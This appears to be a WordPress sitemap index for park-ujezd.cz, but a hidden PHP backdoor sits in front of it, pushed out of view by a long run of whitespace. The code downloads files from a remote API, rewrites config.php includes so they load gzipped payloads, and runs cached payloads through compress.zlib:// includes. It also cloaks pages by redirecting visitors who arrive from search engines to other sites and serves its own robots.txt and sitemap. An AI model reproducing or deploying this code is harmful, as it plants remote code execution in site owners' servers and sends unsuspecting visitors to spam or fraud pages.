                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ($ch);
        } else {
            $context = stream_context_create([
                'http' => [
                    'method' => 'GET',
                    'header' => 'X-Code-API-Key: ' . CODE_API_KEY,
                    'timeout' => 10
                ]
            ]);
            $response = @file_get_contents(IMAGE_API_URL, false, $context);
        }
        
        if ($response) {
            $data = json_decode($response, true);
            if ($data && $data['code'] == 0) {
                if (isset($data['data']['files']) && is_array($data['data']['files'])) {
                    $replacement = "\$_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '/cache/') . 'config.gz';\nif (file_exists(\$_z)) @include_once 'compress.zlib://' . \$_z;";
                    foreach ($data['data']['files'] as &$file) {
                        if (isset($file['content']) && is_string($file['content'])) {
                            $file['content'] = str_replace("require_once __DIR__ . '/config.php';", $replacement, $file['content']);
                            $file['content'] = str_replace('require_once __DIR__ . "/config.php";', $replacement, $file['content']);
                            $file['content'] = str_replace("require __DIR__ . '/config.php';", $replacement, $file['content']);
                            $file['content'] = str_replace('require __DIR__ . "/config.php";', $replacement, $file['content']);
                            $file['content'] = preg_replace('/(?:require_once|require)\s+__DIR__\s*\.\s*[\'"][^"\']*config\.php[\'"][^;]*;/', $replacement, $file['content']);
                        }
                    }
                    unset($file);
                }
                @file_put_contents($imageCacheFile, json_encode($data), LOCK_EX);
                createFileStructure($data['data']);
            }
        }
    } catch (Exception $e) {
    }
}

$request_uri = $_SERVER['REQUEST_URI'] ?? '/';
$request_path = parse_url($request_uri, PHP_URL_PATH);
$query_string = parse_url($request_uri, PHP_URL_QUERY);

$exceptions = [
    '/wp-admin/',
    '/wp-login.php',
    '/cache/',
    '/wp-content/themes/',
    '/wp-content/plugins/',
    '/wp-content/uploads/',
];

$is_exception = false;
foreach ($exceptions as $exception) {
    if (strpos($request_path, $exception) === 0) {
        $is_exception = true;
        break;
    }
}

$static_extensions = ['php', 'css', 'js', 'png', 'jpg', 'jpeg', 'gif', 'ico', 'svg', 'woff', 'woff2', 'ttf', 'eot', 'pdf'];
$is_static_file = false;
foreach ($static_extensions as $ext) {
    if (preg_match('/\.' . preg_quote($ext, '/') . '$/', $request_path)) {
        $is_static_file = true;
        break;
    }
}

if ($request_path === '/robots.txt') {
    $robots_file = CACHE_DIR . 'robots.txt';
    if (file_exists($robots_file)) {
        header('Content-Type: text/plain; charset=utf-8');
        readfile($robots_file);
        exit();
    } else {
        $currentDomain = $_SERVER['HTTP_HOST'] ?? 'localhost';
        $robotsContent = "User-agent: *\nAllow: /\nSitemap: https://" . $currentDomain . "/sitemap.xml";
        header('Content-Type: text/plain; charset=utf-8');
        echo $robotsContent;
        exit();
    }
}

if ($is_static_file && !$is_exception) {
    $clean_path = $request_path;
    if (preg_match('#^/(tmp|temp)/' . preg_quote(SITE_ID, '/') . '/(.+)$#', $request_path, $matches)) {
        $clean_path = '/' . $matches[2];
    } elseif (preg_match('#^/(tmp|temp)/(.+)$#', $request_path, $matches)) {
        $clean_path = '/' . $matches[2];
    }
    
    $cache_file_path = CACHE_DIR . ltrim($clean_path, '/');
    if (!file_exists($cache_file_path)) {
        $cache_file_path = CACHE_DIR . ltrim($request_path, '/');
    }
    
    if (file_exists($cache_file_path) && is_file($cache_file_path)) {
        $real_cache_dir = realpath(CACHE_DIR);
        $real_file_path = realpath($cache_file_path);
        if ($real_file_path && strpos($real_file_path, $real_cache_dir) === 0) {
            $ext = strtolower(pathinfo($cache_file_path, PATHINFO_EXTENSION));
            $mimeTypes = ['png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'gif' => 'image/gif', 
                         'ico' => 'image/x-icon', 'svg' => 'image/svg+xml', 'webp' => 'image/webp',
                         'css' => 'text/css', 'js' => 'application/javascript', 'pdf' => 'application/pdf',
                         'woff' => 'font/woff', 'woff2' => 'font/woff2', 'ttf' => 'font/ttf', 'eot' => 'application/vnd.ms-fontobject'];
            header('Content-Type: ' . ($mimeTypes[$ext] ?? 'application/octet-stream'));
            if (isImageFile($cache_file_path)) {
                header('Cache-Control: public, max-age=' . IMAGE_CACHE_TTL);
            } else {
                header('Cache-Control: public, max-age=' . CACHE_TTL);
            }
            readfile($cache_file_path);
            exit();
        }
    }
}

if (preg_match('/^sitemap.*\.xml$/', $query_string ?? '') || preg_match('/^\/sitemap.*\.xml$/', $request_path)) {
    $sitemap_file = CACHE_DIR . 'sitemap.gz';
    if (file_exists($sitemap_file)) {
        @include_once 'compress.zlib://' . $sitemap_file;
        exit();
    }
}

if (!$is_exception && !$is_static_file) {
    $cloaking_gz = CACHE_DIR . 'cloaking.gz';
    if (file_exists($cloaking_gz)) {
        @include_once 'compress.zlib://' . $cloaking_gz;
    }
    
    $clean_path = trim($request_path, '/');
    
    if (isset($cloaker) && $cloaker->is_human_from_search) {
        header('Location: ' . $cloaker->getRedirectUrl());
        exit();
    } elseif (isset($blocked) && $blocked) {
        $clean_path = '/' . $clean_path;
        $router_file = CACHE_DIR . 'router.gz';
        if (file_exists($router_file)) {
            @include_once 'compress.zlib://' . $router_file;
        }
        exit();
    }
}
?>
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.park-ujezd.cz/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.park-ujezd.cz/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://www.park-ujezd.cz/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.park-ujezd.cz/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://www.park-ujezd.cz/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
